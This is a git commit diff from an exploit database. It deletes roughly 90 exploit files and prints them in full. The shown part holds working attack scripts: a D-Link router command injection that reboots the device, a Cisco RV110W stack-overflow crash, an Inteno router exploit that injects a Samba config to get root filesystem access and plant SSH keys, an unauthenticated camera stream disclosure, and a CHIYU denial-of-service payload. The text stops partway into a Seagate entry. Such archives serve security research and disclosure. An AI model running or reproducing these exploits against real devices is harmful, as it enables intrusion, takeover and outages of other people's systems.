DB: 2021-10-13
176 changes to exploits/shellcodes Easy CD & DVD Cover Creator 4.13 - Denial of Service (PoC) Managed Switch Port Mapping Tool 2.85.2 - Denial of Service (PoC) Nsasoft Hardware Software Inventory 1.6.4.0 - 'multiple' Denial of Service (PoC) Sandboxie 5.49.7 - Denial of Service (PoC) WebSSH for iOS 14.16.10 - 'mashREPL' Denial of Service (PoC) iDailyDiary 4.30 - Denial of Service (PoC) RarmaRadio 2.72.8 - Denial of Service (PoC) DupTerminator 1.4.5639.37199 - Denial of Service (PoC) Color Notes 1.4 - Denial of Service (PoC) Macaron Notes great notebook 5.5 - Denial of Service (PoC) My Notes Safe 5.3 - Denial of Service (PoC) Sticky Notes & Color Widgets 1.4.2 - Denial of Service (PoC) NBMonitor 1.6.8 - Denial of Service (PoC) Nsauditor 3.2.3 - Denial of Service (PoC) Sticky Notes Widget Version 3.0.6 - Denial of Service (PoC) n+otes 1.6.2 - Denial of Service (PoC) Secure Notepad Private Notes 3.0.3 - Denial of Service (PoC) Post-it 5.0.1 - Denial of Service (PoC) Notex the best notes 6.4 - Denial of Service (PoC) Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (2) Solaris 10 1/13 (Intel) - 'dtprintinfo' Local Privilege Escalation (3) Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (1) Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (2) Solaris 10 1/13 (SPARC) - 'dtprintinfo' Local Privilege Escalation (3) MariaDB 10.2 /MySQL - 'wsrep_provider' OS Command Execution Visual Studio Code 1.47.1 - Denial of Service (PoC) DELL dbutil_2_3.sys 2.3 - Arbitrary Write to Local Privilege Escalation (LPE) Backup Key Recovery 2.2.7 - Denial of Service (PoC) memono Notepad Version 4.2 - Denial of Service (PoC) Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon) Dlink DSL2750U - 'Reboot' Command Injection E-Learning System 1.0 - Authentication Bypass & RCE POC Netsia SEBA+ 0.16.1 - Authentication Bypass and Add Root User (Metasploit) ICE Hrm 29.0.0.OS - 'Account Takeover' Cross-Site Scripting and Session Fixation GetSimple CMS 3.3.16 - Reflected XSS to RCE House Rental and Property Listing 1.0 - Multiple Stored XSS Resumes Management and Job Application Website 1.0 - Authentication Bypass (Sql Injection) EgavilanMedia User Registration & Login System with Admin Panel 1.0 - Multiple Stored Cross-Site Scripting Cisco RV110W 1.2.1.7 - 'vpn_account' Denial of Service (PoC) Inteno IOPSYS 3.16.4 - root filesystem access via sambashare (Authenticated) Selea Targa IP OCR-ANPR Camera - RTP/RTSP/M-JPEG Stream Disclosure (Unauthenticated) CMSUno 1.6.2 - 'lang/user' Remote Code Execution (Authenticated) WordPress Plugin SuperForms 4.9 - Arbitrary File Upload to Remote Code Execution Home Assistant Community Store (HACS) 1.10.0 - Path Traversal to Account Takeover Hotel and Lodge Management System 1.0 - Remote Code Execution (Unauthenticated) Microsoft Exchange 2019 - SSRF to Arbitrary File Write (Proxylogon) (PoC) Dolibarr ERP/CRM 11.0.4 - File Upload Restrictions Bypass (Authenticated RCE) Montiorr 1.7.6m - File Upload to XSS GetSimple CMS Custom JS 0.1 - CSRF to XSS to RCE Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated) Markdown Explorer 0.1.1 - XSS to RCE Xmind 2020 - XSS to RCE Tagstoo 2.0.1 - Stored XSS to RCE SnipCommand 0.1.0 - XSS to RCE Moeditor 0.2.0 - XSS to RCE Marky 0.0.1 - XSS to RCE StudyMD 0.3.2 - XSS to RCE Freeter 1.2.1 - XSS to RCE Markright 1.0 - XSS to RCE Markdownify 1.2.0 - XSS to RCE Anote 1.0 - XSS to RCE Subrion CMS 4.2.1 - File Upload Bypass to RCE (Authenticated) Printable Staff ID Card Creator System 1.0 - SQLi & RCE via Arbitrary File Upload Schlix CMS 2.2.6-6 - Arbitary File Upload And Directory Traversal Leads To RCE (Authenticated) Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver) CHIYU IoT Devices - Denial of Service (DoS) Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated) WordPress Plugin Anti-Malware Security and Bruteforce Firewall 4.20.59 - Directory Traversal Atlassian Jira Server/Data Center 8.16.0 - Reflected Cross-Site Scripting (XSS) Phone Shop Sales Managements System 1.0 - 'Multiple' Arbitrary File Upload to Remote Code Execution ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated) Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection Dolibarr ERP/CRM 10.0.6 - Login Brute Force qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated) Simple Phone book/directory 1.0 - 'Username' SQL Injection (Unauthenticated) ECOA Building Automation System - Hidden Backdoor Accounts and backdoor() Function Budget and Expense Tracker System 1.0 - Authenticated Bypass WordPress Plugin Select All Categories and Taxonomies 1.3.1 - Reflected Cross-Site Scripting (XSS) WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting (XSS) Drupal Module MiniorangeSAML 8.x-2.22 - Privilege escalation via XML Signature Wrapping Phpwcms 1.9.30 - File Upload to XSS Linux/x86 - execve(/bin/sh) Shellcode (17 bytes) Linux/x64 - execve(/bin/sh) Shellcode (21 bytes) (2) Linux/x86 - setreuid(0) + execve(_/bin/sh_) Shellcode (29 bytes) Linux/x86 - Bind (User Specified Port) Shell (/bin/sh) Shellcode (102 bytes) Linux/x86 - Reverse (dynamic IP and port/TCP) Shell (/bin/sh) Shellcode (86 bytes) Linux/x86 - Egghunter Reverse TCP Shell dynamic IP and port Shellcode
This commit is contained in:
Offensive Security
parent
a250e82458
commit
1cf7d7364a
90 changed files with 0 additions and 7420 deletions
|
|
@ -1,109 +0,0 @@
|
||||||
# Exploit Title: Dlink DSL2750U - 'Reboot' Command Injection
|
|
||||||
# Date: 17-06-2021
|
|
||||||
# Exploit Author: Mohammed Hadi (HadiMed)
|
|
||||||
# Vendor Homepage: https://me.dlink.com/consumer
|
|
||||||
# Software Link: https://dlinkmea.com/index.php/product/details?det=c0lvN0JoeVVhSXh4TVhjTnd1OUpUUT09 Version: ME_1.16
|
|
||||||
# Tested on: firmware GAN9.ET235B-B-DL-DSL2750U-R5B028-ME.EN_2T2R*
|
|
||||||
# https://github.com/HadiMed/firmware-analysis/tree/main/DSL-2750U%20(firmware%20version%201.6)
|
|
||||||
|
|
||||||
###
|
|
||||||
|
|
||||||
#!/bin/bash
|
|
||||||
|
|
||||||
# Exploit by HadiMed
|
|
||||||
|
|
||||||
# Takes advantage of the tftp server that accepts the cfg file blindly
|
|
||||||
echo -ne "\n"
|
|
||||||
echo "Exploiting Dlink DSL-2750u version 1.6"
|
|
||||||
echo -ne "\n\n"
|
|
||||||
|
|
||||||
# Sending the payload
|
|
||||||
echo -ne "binary\nput cfg.xml\nquit" | tftp 192.168.1.1
|
|
||||||
echo -ne "\n"
|
|
||||||
|
|
||||||
echo "File uploaded Successfully"
|
|
||||||
echo "Waiting for router to restart"
|
|
||||||
|
|
||||||
sleep 180 # approximate time for router to restart
|
|
||||||
|
|
||||||
python3 exploit.py
|
|
||||||
|
|
||||||
###
|
|
||||||
|
|
||||||
import requests
|
|
||||||
|
|
||||||
# HTTP request looks like this
|
|
||||||
'''
|
|
||||||
POST /cgi-bin/webproc HTTP/1.1
|
|
||||||
Host: 192.168.1.1
|
|
||||||
Content-Length: 175
|
|
||||||
Cache-Control: max-age=0
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
Origin: http://192.168.1.1
|
|
||||||
Content-Type: application/x-www-form-urlencoded
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
|
|
||||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
||||||
Referer: http://192.168.1.1/cgi-bin/webproc
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Accept-Language: en-US,en;q=0.9
|
|
||||||
Cookie: sessionid=deadbeef; language=en_us; sys_UserName=user; sessionid=634cdf91
|
|
||||||
Connection: close
|
|
||||||
|
|
||||||
getpage=html%2Findex.html&errorpage=html%2Fmain.html&var%3Amenu=setup&var%3Apage=wizard&obj-action=auth&%3Ausername=user&%3Apassword=user&%3Aaction=login&%3Asessionid=634cdf91
|
|
||||||
'''
|
|
||||||
|
|
||||||
# 1 Getting a session id
|
|
||||||
|
|
||||||
# password and username crafted by me on the cfg.xml file
|
|
||||||
|
|
||||||
username = "pwned"
|
|
||||||
password= "pwned"
|
|
||||||
|
|
||||||
|
|
||||||
# acually the client set the sessionid in condition that the password and username are correct
|
|
||||||
|
|
||||||
Cookie="sessionid=deadbeef; language=en_us; sys_UserName=pwned; sessionid=deadbeef"
|
|
||||||
Contentty="application/x-www-form-urlencoded"
|
|
||||||
Referer="http://192.168.1.1/cgi-bin/webproc"
|
|
||||||
Contentlen="175"
|
|
||||||
|
|
||||||
# Sending first request to set our session id
|
|
||||||
response = requests.post("http://192.168.1.1/cgi-bin/webproc",
|
|
||||||
headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
|
|
||||||
,
|
|
||||||
data={ "getpage":"html/index.html",
|
|
||||||
"errorpage":"html/main.html",
|
|
||||||
"var:menu" : "setup",
|
|
||||||
"var:page":"wizard",
|
|
||||||
"obj-action":"auth",
|
|
||||||
":username":username,
|
|
||||||
":password":password,
|
|
||||||
":action":"login",
|
|
||||||
":sessionid":"deadbeef"
|
|
||||||
}
|
|
||||||
)
|
|
||||||
|
|
||||||
|
|
||||||
Referer = "http://192.168.1.1/cgi-bin/webupg"
|
|
||||||
|
|
||||||
name = "mac"
|
|
||||||
cmd = "1;sleep${IFS}10;reboot;"
|
|
||||||
|
|
||||||
Contentlen = str(len(name+cmd)+10)
|
|
||||||
|
|
||||||
if response.status_code==302:
|
|
||||||
print("got sessionid=deadbeef !\n waiting for the reverse shell ...")
|
|
||||||
|
|
||||||
# access cgi-bin/webupg
|
|
||||||
try :
|
|
||||||
response = requests.post("http://192.168.1.1/cgi-bin/webupg",
|
|
||||||
headers={"Cookie":Cookie , "Content-Type":Contentty , "Referer":Referer , "Content-Length":Contentlen }
|
|
||||||
,data = {"name":name , "newmac":cmd} , timeout=0.0000000001
|
|
||||||
|
|
||||||
)
|
|
||||||
|
|
||||||
except requests.exceptions.Timeout :
|
|
||||||
|
|
||||||
print("done router will restart in 20 sec")
|
|
||||||
|
|
||||||
print("Device restarted!")
|
|
||||||
|
|
@ -1,118 +0,0 @@
|
||||||
# Exploit Title: Cisco RV110W 1.2.1.7 - 'vpn_account' Denial of Service (PoC)
|
|
||||||
# Date: 2021-01
|
|
||||||
# Exploit Author: Shizhi He
|
|
||||||
# Vendor Homepage: https://www.cisco.com/
|
|
||||||
# Software Link: https://software.cisco.com/download/home/283879340/type/282487380/release/1.2.1.7
|
|
||||||
# Version: V1.2.1.7
|
|
||||||
# Tested on: RV110W V1.2.1.7
|
|
||||||
# CVE : CVE-2021-1167
|
|
||||||
# References:
|
|
||||||
# https://github.com/pwnninja/cisco/blob/main/vpn_client_stackoverflow.md
|
|
||||||
# https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv-overflow-WUnUgv4U
|
|
||||||
|
|
||||||
#!/usr/bin/env python2
|
|
||||||
|
|
||||||
#####
|
|
||||||
## Cisco RV110W Remote Stack Overflow.
|
|
||||||
### Tested on version: V1.2.1.7 (maybe useable on other products and versions)
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
|
||||||
import sys
|
|
||||||
import re
|
|
||||||
import urllib
|
|
||||||
import urllib2
|
|
||||||
import getopt
|
|
||||||
import json
|
|
||||||
import hashlib
|
|
||||||
import ssl
|
|
||||||
|
|
||||||
ssl._create_default_https_context = ssl._create_unverified_context
|
|
||||||
|
|
||||||
###
|
|
||||||
# Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco
|
|
||||||
# This PoC will crash the target HTTP/HTTPS service
|
|
||||||
###
|
|
||||||
|
|
||||||
#encrypt password
|
|
||||||
def enc(s):
|
|
||||||
l = len(s)
|
|
||||||
s += "%02d" % l
|
|
||||||
mod = l + 2
|
|
||||||
ans = ""
|
|
||||||
for i in range(64):
|
|
||||||
tmp = i % mod
|
|
||||||
ans += s[tmp]
|
|
||||||
return hashlib.md5(ans).hexdigest()
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
print "Usage: ./CVE-2021-1167.py 192.168.1.1 443 cisco cisco"
|
|
||||||
|
|
||||||
IP = sys.argv[1]
|
|
||||||
PORT = sys.argv[2]
|
|
||||||
USERNAME = sys.argv[3]
|
|
||||||
PASSWORD = enc(sys.argv[4])
|
|
||||||
url = 'https://' + IP + ':' + PORT + '/'
|
|
||||||
|
|
||||||
#get session_id by POST login.cgi
|
|
||||||
req = urllib2.Request(url + "login.cgi")
|
|
||||||
req.add_header('Origin', url)
|
|
||||||
req.add_header('Upgrade-Insecure-Requests', 1)
|
|
||||||
req.add_header('Content-Type', 'application/x-www-form-urlencoded')
|
|
||||||
req.add_header('User-Agent',
|
|
||||||
'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
|
|
||||||
req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
|
|
||||||
req.add_header('Referer', url)
|
|
||||||
req.add_header('Accept-Encoding', 'gzip, deflate')
|
|
||||||
req.add_header('Accept-Language', 'en-US,en;q=0.9')
|
|
||||||
req.add_header('Cookie', 'SessionID=')
|
|
||||||
data = {"submit_button": "login",
|
|
||||||
"submit_type": "",
|
|
||||||
"gui_action": "",
|
|
||||||
"wait_time": "0",
|
|
||||||
"change_action": "",
|
|
||||||
"enc": "1",
|
|
||||||
"user": USERNAME,
|
|
||||||
"pwd": PASSWORD,
|
|
||||||
"sel_lang": "EN"
|
|
||||||
}
|
|
||||||
r = urllib2.urlopen(req, urllib.urlencode(data))
|
|
||||||
resp = r.read()
|
|
||||||
login_st = re.search(r'.*login_st=\d;', resp).group().split("=")[1]
|
|
||||||
session_id = re.search(r'.*session_id.*\";', resp).group().split("\"")[1]
|
|
||||||
print session_id
|
|
||||||
|
|
||||||
#trigger stack overflow through POST vpn_account parameter and cause denial of service
|
|
||||||
req2 = urllib2.Request(url + "apply.cgi;session_id=" + session_id)
|
|
||||||
req2.add_header('Origin', url)
|
|
||||||
req2.add_header('Upgrade-Insecure-Requests', 1)
|
|
||||||
req2.add_header('Content-Type', 'application/x-www-form-urlencoded')
|
|
||||||
req2.add_header('User-Agent',
|
|
||||||
'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko)')
|
|
||||||
req2.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8')
|
|
||||||
req2.add_header('Referer', url)
|
|
||||||
req2.add_header('Accept-Encoding', 'gzip, deflate')
|
|
||||||
req2.add_header('Accept-Language', 'en-US,en;q=0.9')
|
|
||||||
req2.add_header('Cookie', 'SessionID=')
|
|
||||||
poc = "a" * 4096
|
|
||||||
data_cmd = {
|
|
||||||
"gui_action": "Apply",
|
|
||||||
"submit_type": "",
|
|
||||||
"submit_button": "vpn_client",
|
|
||||||
"change_action": "",
|
|
||||||
"pptpd_enable": "0",
|
|
||||||
"pptpd_localip": "10.0.0.1",
|
|
||||||
"pptpd_remoteip": "10.0.0.10-14",
|
|
||||||
"pptpd_account": "",
|
|
||||||
"vpn_pptpd_account": "1",
|
|
||||||
"vpn_account": poc,
|
|
||||||
"change_lan_ip": "0",
|
|
||||||
"netbios_enable": "0",
|
|
||||||
"mppe_disable": "0",
|
|
||||||
"importvpnclient": "",
|
|
||||||
"browser": "",
|
|
||||||
"webpage_end": "1",
|
|
||||||
}
|
|
||||||
r = urllib2.urlopen(req2, urllib.urlencode(data_cmd))
|
|
||||||
resp = r.read()
|
|
||||||
print resp
|
|
||||||
|
|
@ -1,188 +0,0 @@
|
||||||
# Exploit Title: Inteno IOPSYS 3.16.4 - root filesystem access via sambashare (Authenticated)
|
|
||||||
# Date: 2020-03-29
|
|
||||||
# Exploit Author: Henrik Pedersen
|
|
||||||
# Vendor Homepage: https://intenogroup.com/
|
|
||||||
# Version: Iopsys <3.16.5
|
|
||||||
# Fixed Version: Iopsys 3.16.5
|
|
||||||
# Tested on: Kali Linux 2020.4 against an Inteno DG200 Router
|
|
||||||
|
|
||||||
# Description:
|
|
||||||
# It was possible to add newlines to nearly any of the samba share options when creating a new Samba share in Inteno’s Iopsys routers before 3.16.5. This made it possible to change the configurations in smb.conf, giving root access to the filesystem.
|
|
||||||
|
|
||||||
# Patch in release
|
|
||||||
# notes: https://dev.iopsys.eu/iopsys/iopsyswrt/blob/9d2366785d5a7d896359436149c2dbd3caec1a8e/releasenotes/release-notes-IOP-OS-version-3.16.x.txt
|
|
||||||
|
|
||||||
# Exploit writeup: https://xistens.gitlab.io/xistens/exploits/iopsys-root-filesystem-access/
|
|
||||||
|
|
||||||
#!/usr/bin/python3
|
|
||||||
import json
|
|
||||||
import sys
|
|
||||||
import os
|
|
||||||
import time
|
|
||||||
import argparse
|
|
||||||
from websocket import create_connection
|
|
||||||
from impacket.smbconnection import SMBConnection
|
|
||||||
from impacket.examples.smbclient import MiniImpacketShell
|
|
||||||
|
|
||||||
"""
|
|
||||||
Root filesystem access via sambashare name configuration option in Inteno's Iopsys < 3.16.5
|
|
||||||
|
|
||||||
Usage: smbexploit.py -u <username> -p <password> -k <path/to/id_rsa.pub> <host>
|
|
||||||
|
|
||||||
Requires:
|
|
||||||
impacket
|
|
||||||
websocket-client
|
|
||||||
|
|
||||||
On Windows:
|
|
||||||
pyreadline
|
|
||||||
|
|
||||||
"""
|
|
||||||
|
|
||||||
def ubusAuth(host, username, password):
|
|
||||||
"""
|
|
||||||
https://github.com/neonsea/inteno-exploits/blob/master/cve-2017-17867.py
|
|
||||||
"""
|
|
||||||
ws = create_connection(f"ws://{host}", header = ["Sec-WebSocket-Protocol: ubus-json"])
|
|
||||||
req = json.dumps({
|
|
||||||
"jsonrpc": "2.0", "method": "call",
|
|
||||||
"params": [
|
|
||||||
"00000000000000000000000000000000","session","login",
|
|
||||||
{"username": username,"password": password}
|
|
||||||
],
|
|
||||||
"id": 666
|
|
||||||
})
|
|
||||||
ws.send(req)
|
|
||||||
response = json.loads(ws.recv())
|
|
||||||
ws.close()
|
|
||||||
try:
|
|
||||||
key = response.get('result')[1].get('ubus_rpc_session')
|
|
||||||
except IndexError:
|
|
||||||
return None
|
|
||||||
return key
|
|
||||||
|
|
||||||
def ubusCall(host, key, namespace, argument, params={}):
|
|
||||||
"""
|
|
||||||
https://github.com/neonsea/inteno-exploits/blob/master/cve-2017-17867.py
|
|
||||||
"""
|
|
||||||
ws = create_connection(f"ws://{host}", header = ["Sec-WebSocket-Protocol: ubus-json"])
|
|
||||||
req = json.dumps({"jsonrpc": "2.0", "method": "call",
|
|
||||||
"params": [key,namespace,argument,params],
|
|
||||||
"id": 666})
|
|
||||||
ws.send(req)
|
|
||||||
response = json.loads(ws.recv())
|
|
||||||
ws.close()
|
|
||||||
try:
|
|
||||||
result = response.get('result')[1]
|
|
||||||
except IndexError:
|
|
||||||
if response.get('result')[0] == 0:
|
|
||||||
return True
|
|
||||||
return None
|
|
||||||
return result
|
|
||||||
|
|
||||||
def auth(host, user, password):
|
|
||||||
print("Authenticating...")
|
|
||||||
key = ubusAuth(host, user, password)
|
|
||||||
if not key:
|
|
||||||
print("[-] Auth failed!")
|
|
||||||
sys.exit(1)
|
|
||||||
print(f"[+] Auth successful")
|
|
||||||
return key
|
|
||||||
|
|
||||||
def smb_put(args):
|
|
||||||
username = ""
|
|
||||||
password = ""
|
|
||||||
|
|
||||||
try:
|
|
||||||
smbClient = SMBConnection(args.host, args.host, sess_port=445)
|
|
||||||
smbClient.login(username, password, args.host)
|
|
||||||
|
|
||||||
print("Reading SSH key")
|
|
||||||
try:
|
|
||||||
with open(args.key_path, "r") as fd:
|
|
||||||
sshkey = fd.read()
|
|
||||||
except IOError:
|
|
||||||
print(f"[-] Error reading {args.sshkey}")
|
|
||||||
|
|
||||||
print("Creating temp file for authorized_keys")
|
|
||||||
try:
|
|
||||||
with open("authorized_keys", "w") as fd:
|
|
||||||
fd.write(sshkey)
|
|
||||||
path = os.path.realpath(fd.name)
|
|
||||||
except IOError:
|
|
||||||
print("[-] Error creating authorized_keys")
|
|
||||||
|
|
||||||
shell = MiniImpacketShell(smbClient)
|
|
||||||
shell.onecmd("use pwned")
|
|
||||||
shell.onecmd("cd /etc/dropbear")
|
|
||||||
shell.onecmd(f"put {fd.name}")
|
|
||||||
|
|
||||||
print("Cleaning up...")
|
|
||||||
os.remove(path)
|
|
||||||
except Exception as e:
|
|
||||||
print("[-] Error connecting to SMB share:")
|
|
||||||
print(str(e))
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
def main(args):
|
|
||||||
payload = "pwned]\npath=/\nguest ok=yes\nbrowseable=yes\ncreate mask=0755\nwriteable=yes\nforce user=root\n[abc"
|
|
||||||
key = auth(args.host, args.user, args.passwd)
|
|
||||||
print("Adding Samba share...")
|
|
||||||
smbcheck = json.dumps(ubusCall(args.host, key, "uci", "get", {"config":"samba"}))
|
|
||||||
if "pwned" in smbcheck:
|
|
||||||
print("[*] Samba share seems to already exist, skipping")
|
|
||||||
else:
|
|
||||||
smba = ubusCall(args.host, key, "uci", "add", {
|
|
||||||
"config": "samba",
|
|
||||||
"type":"sambashare",
|
|
||||||
"values": {
|
|
||||||
"name": payload,
|
|
||||||
"read_only": "no",
|
|
||||||
"create_mask":"0775",
|
|
||||||
"dir_mask":"0775",
|
|
||||||
"path": "/mnt/",
|
|
||||||
"guest_ok": "yes"
|
|
||||||
}
|
|
||||||
})
|
|
||||||
if not smba:
|
|
||||||
print("[-] Adding Samba share failed!")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
print("Enabling Samba...")
|
|
||||||
smbe = ubusCall(args.host, key, "uci", "set",
|
|
||||||
{"config":"samba", "type":"samba", "values":
|
|
||||||
{"interface":"lan"}})
|
|
||||||
if not smbe:
|
|
||||||
print("[-] Enabling Samba failed!")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
print("Committing changes...")
|
|
||||||
smbc = ubusCall(args.host, key, "uci", "commit",
|
|
||||||
{"config":"samba"})
|
|
||||||
if not smbc:
|
|
||||||
print("[-] Committing changes failed!")
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
if args.key_path:
|
|
||||||
# Allow the service to start
|
|
||||||
time.sleep(2)
|
|
||||||
smb_put(args)
|
|
||||||
print(f"[+] Exploit complete. Try \"ssh -i id_rsa root@{args.host}\"")
|
|
||||||
else:
|
|
||||||
print("[+] Exploit complete, SMB share added.")
|
|
||||||
|
|
||||||
def parse_args(args):
|
|
||||||
""" Create the arguments """
|
|
||||||
parser = argparse.ArgumentParser()
|
|
||||||
parser.add_argument("-u", dest="user", help="Username", default="user")
|
|
||||||
parser.add_argument("-p", dest="passwd", help="Password", default="user")
|
|
||||||
parser.add_argument("-k", dest="key_path", help="Public ssh key path")
|
|
||||||
parser.add_argument(dest="host", help="Target host")
|
|
||||||
|
|
||||||
if len(sys.argv) < 2:
|
|
||||||
parser.print_help()
|
|
||||||
sys.exit(1)
|
|
||||||
|
|
||||||
return parser.parse_args(args)
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
|
||||||
main(parse_args(sys.argv[1:]))
|
|
||||||
|
|
@ -1,67 +0,0 @@
|
||||||
# Exploit Title: Selea Targa IP OCR-ANPR Camera - RTP/RTSP/M-JPEG Stream Disclosure (Unauthenticated)
|
|
||||||
# Date: 07.11.2020
|
|
||||||
# Exploit Author: LiquidWorm
|
|
||||||
# Vendor Homepage: https://www.selea.com
|
|
||||||
|
|
||||||
Selea Targa IP OCR-ANPR Camera Unauthenticated RTP/RTSP/M-JPEG Stream Disclosure
|
|
||||||
|
|
||||||
|
|
||||||
Vendor: Selea s.r.l.
|
|
||||||
Product web page: https://www.selea.com
|
|
||||||
Affected version: Model: iZero
|
|
||||||
Targa 512
|
|
||||||
Targa 504
|
|
||||||
Targa Semplice
|
|
||||||
Targa 704 TKM
|
|
||||||
Targa 805
|
|
||||||
Targa 710 INOX
|
|
||||||
Targa 750
|
|
||||||
Targa 704 ILB
|
|
||||||
Firmware: BLD201113005214
|
|
||||||
BLD201106163745
|
|
||||||
BLD200304170901
|
|
||||||
BLD200304170514
|
|
||||||
BLD200303143345
|
|
||||||
BLD191118145435
|
|
||||||
BLD191021180140
|
|
||||||
BLD191021180140
|
|
||||||
CPS: 4.013(201105)
|
|
||||||
3.100(200225)
|
|
||||||
3.005(191206)
|
|
||||||
3.005(191112)
|
|
||||||
|
|
||||||
Summary: IP camera with optical character recognition (OCR) software for automatic
|
|
||||||
number plate recognition (ANPR) also equipped with ADR system that enables it to read
|
|
||||||
the Hazard Identification Number (HIN, also known as the Kemler Code) and UN number
|
|
||||||
of any vehicle captured in free-flow mode. TARGA is fully accurate in reading number
|
|
||||||
plates of vehicles travelling at high speed. Its varifocal, wide-angle lens makes
|
|
||||||
this camera suitable for all installation conditions. Its built-in OCR software works
|
|
||||||
as an automatic and independent system without the need of a computer, thus giving
|
|
||||||
autonomy to the device even in the event of an interruption in the connection between
|
|
||||||
the camera and the operations centre.
|
|
||||||
|
|
||||||
Desc: The ANPR camera suffers from an unauthenticated and unauthorized live stream
|
|
||||||
disclosure when p1.mjpg or p1.264 is called.
|
|
||||||
|
|
||||||
Tested on: GNU/Linux 3.10.53 (armv7l)
|
|
||||||
PHP/5.6.22
|
|
||||||
selea_httpd
|
|
||||||
HttpServer/0.1
|
|
||||||
SeleaCPSHttpServer/1.1
|
|
||||||
|
|
||||||
|
|
||||||
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
|
|
||||||
@zeroscience
|
|
||||||
|
|
||||||
|
|
||||||
Advisory ID: ZSL-2021-5619
|
|
||||||
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5619.php
|
|
||||||
|
|
||||||
|
|
||||||
07.11.2020
|
|
||||||
|
|
||||||
--
|
|
||||||
|
|
||||||
|
|
||||||
Connection to RTP/RTSP stream: rtsp://192.168.1.17/p1.264
|
|
||||||
Connection to M-JPEG stream: http://192.168.1.17/p1.mjpg
|
|
||||||
|
|
@ -1,47 +0,0 @@
|
||||||
# Exploit Title: CHIYU IoT Devices - Denial of Service (DoS)
|
|
||||||
# Date: 01/06/2021
|
|
||||||
# Exploit Author: sirpedrotavares
|
|
||||||
# Vendor Homepage: https://www.chiyu-tech.com/msg/msg88.html
|
|
||||||
# Software Link: https://www.chiyu-tech.com/category-hardware.html
|
|
||||||
# Version: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC - all firmware versions < June 2021
|
|
||||||
# Tested on: BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC
|
|
||||||
# CVE: CVE-2021-31642
|
|
||||||
# Publication: https://seguranca-informatica.pt/dancing-in-the-iot-chiyu-devices-vulnerable-to-remote-attacks
|
|
||||||
|
|
||||||
Description: A denial of service condition exists after an integer overflow in several IoT devices from CHIYU Technology, including BIOSENSE, Webpass, and BF-630, BF-631, and SEMAC. The vulnerability can be explored by sending an unexpected integer (> 32 bits) on the page parameter that will crash the web portal and making it unavailable until a reboot of the device.
|
|
||||||
CVE ID: CVE-2021-31642
|
|
||||||
CVSS: Medium- CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
|
|
||||||
URL: https://gitbook.seguranca-informatica.pt/cve-and-exploits/cves/chiyu-iot-devices#cve-2021-31642
|
|
||||||
|
|
||||||
Affected parameter: page=Component: if.cgi
|
|
||||||
Payload:
|
|
||||||
if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
|
|
||||||
|
|
||||||
====HTTP request======
|
|
||||||
GET
|
|
||||||
/if.cgi?redirect=AccLog.htm&failure=fail.htm&type=go_log_page&page=2781000
|
|
||||||
HTTP/1.1
|
|
||||||
Host: 127.0.0.1
|
|
||||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
|
|
||||||
Gecko/20100101 Firefox/87.0
|
|
||||||
Accept:
|
|
||||||
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
||||||
Accept-Language: pt-PT,pt;q=0.8,en;q=0.5,en-US;q=0.3
|
|
||||||
Accept-Encoding: gzip, deflate
|
|
||||||
Authorization: Basic YWRtaW46YWRtaW4=
|
|
||||||
Connection: close
|
|
||||||
Referer: http://127.0.0.1/AccLog.htm
|
|
||||||
Cookie: fresh=
|
|
||||||
Upgrade-Insecure-Requests: 1
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
Steps to reproduce:
|
|
||||||
1. Navigate to the vulnerable device
|
|
||||||
2. Make a GET request to the CGI component (if.cgi)
|
|
||||||
3. Append the payload at the end of the vulnerable parameter (page)
|
|
||||||
4. Submit the request and observe payload execution
|
|
||||||
|
|
||||||
|
|
||||||
Mitigation: The latest version of the CHIYU firmware should be installed
|
|
||||||
to mitigate this vulnerability.
|
|
||||||
|
|
@ -1,29 +0,0 @@
|
||||||
# Exploit Title: Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection
|
|
||||||
# Date: 15.07.2021
|
|
||||||
